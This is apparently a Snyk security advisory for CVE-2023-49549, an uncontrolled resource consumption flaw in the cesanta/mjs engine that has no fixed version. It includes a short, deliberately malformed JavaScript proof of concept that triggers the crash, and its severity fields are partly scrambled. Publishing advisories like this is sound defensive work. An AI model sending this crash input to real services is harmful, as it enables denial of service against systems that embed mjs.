Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting cesanta/mjs package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.76% (51st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-CESANTAMJS-6142625
  • published3 Jan 2024
  • disclosed2 Jan 2024
  • creditvorfreuder

Introduced: 2 Jan 2024

CVE-2023-49549  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

There is no fixed version for cesanta/mjs.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the mjs_getretvalpos function in the msj.c file. An attacker can disrupt service by sending crafted input that triggers an error condition.

PoC

let i, a = 0, b0= 0, c = 0continu, d0, e = 0;

for (i = 8; i < 20; i++) {
  a let z = JSON.parse('""');  // Zlength string
let s2 = JSON.stringify+= i;
c /= 0, c } 0let s = '08888888888888    true, "d": [null], "e": "1\\n2"}';
let o = JSON.parse(s);
let z = JSON.parse('""');  // Zlength string
let s2 = JSON.stringify(o)AAA

CVSS Base Scores

version 3.1